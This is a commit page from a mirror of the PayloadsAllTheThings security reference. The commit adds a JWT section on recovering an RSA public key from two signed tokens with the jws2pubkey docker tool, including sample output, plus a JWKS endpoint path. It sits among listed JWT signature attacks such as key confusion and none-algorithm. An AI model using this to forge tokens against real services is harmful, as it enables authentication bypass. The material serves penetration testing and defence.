ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-18 18:36:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Recover Public Key From Signed JWTs

Browse Source
This commit is contained in:
Swissky 2023-09-04 11:37:15 +02:00
parent c030379871
commit f9a2880ad5
1 changed files with 15 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
JSON Web Token/README.md
View File

@ -15,6 +15,7 @@
- [JWT Signature - None Algorithm (CVE-2015-9235)](#jwt-signature---none-algorithm-cve-2015-9235) - [JWT Signature - None Algorithm (CVE-2015-9235)](#jwt-signature---none-algorithm-cve-2015-9235)
- [JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)](#jwt-signature---key-confusion-attack-rs256-to-hs256-cve-2016-5431) - [JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)](#jwt-signature---key-confusion-attack-rs256-to-hs256-cve-2016-5431)
- [JWT Signature - Key Injection Attack (CVE-2018-0114)](#jwt-signature---key-injection-attack-cve-2018-0114) - [JWT Signature - Key Injection Attack (CVE-2018-0114)](#jwt-signature---key-injection-attack-cve-2018-0114)
- [JWT Signature - Recover Public Key From Signed JWTs](#jwt-signature---recover-public-key-from-signed-jwts)
- [JWT Secret](#jwt-secret) - [JWT Secret](#jwt-secret)
- [Encode and Decode JWT with the secret](#encode-and-decode-jwt-with-the-secret) - [Encode and Decode JWT with the secret](#encode-and-decode-jwt-with-the-secret)
- [Break JWT secret](#break-jwt-secret) - [Break JWT secret](#break-jwt-secret)
@ -281,6 +282,19 @@ print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
``` ```
### JWT Signature - Recover Public Key From Signed JWTs
The RS256, RS384 and RS512 algorithms use RSA with PKCS#1 v1.5 padding as their signature scheme. This has the property that you can compute the public key given two different messages and accompanying signatures.
[SecuraBV/jws2pubkey](https://github.com/SecuraBV/jws2pubkey): compute an RSA public key from two signed JWTs
```ps1
$ docker run -it ttervoort/jws2pubkey JWS1 JWS2
$ docker run -it ttervoort/jws2pubkey "$(cat sample-jws/sample1.txt)" "$(cat sample-jws/sample2.txt)" | tee pubkey.jwk
Computing public key. This may take a minute...
{"kty": "RSA", "n": "sEFRQzskiSOrUYiaWAPUMF66YOxWymrbf6PQqnCdnUla8PwI4KDVJ2XgNGg9XOdc-jRICmpsLVBqW4bag8eIh35PClTwYiHzV5cbyW6W5hXp747DQWan5lIzoXAmfe3Ydw65cXnanjAxz8vqgOZP2ptacwxyUPKqvM4ehyaapqxkBbSmhba6160PEMAr4d1xtRJx6jCYwQRBBvZIRRXlLe9hrohkblSrih8MdvHWYyd40khrPU9B2G_PHZecifKiMcXrv7IDaXH-H_NbS7jT5eoNb9xG8K_j7Hc9mFHI7IED71CNkg9RlxuHwELZ6q-9zzyCCcS426SfvTCjnX0hrQ", "e": "AQAB"}
```
## JWT Secret ## JWT Secret
> To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls. > To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.
@ -447,6 +461,7 @@ It is sometimes exposed publicly via a standard endpoint:
* `/openid/connect/jwks.json` * `/openid/connect/jwks.json`
* `/api/keys` * `/api/keys`
* `/api/v1/keys` * `/api/v1/keys`
* [`/{tenant}/oauth2/v1/certs`](https://docs.theidentityhub.com/doc/Protocol-Endpoints/OpenID-Connect/OpenID-Connect-JWKS-Endpoint.html)
You should create your own key pair for this attack and host it. It should look like that: You should create your own key pair for this attack and host it. It should look like that: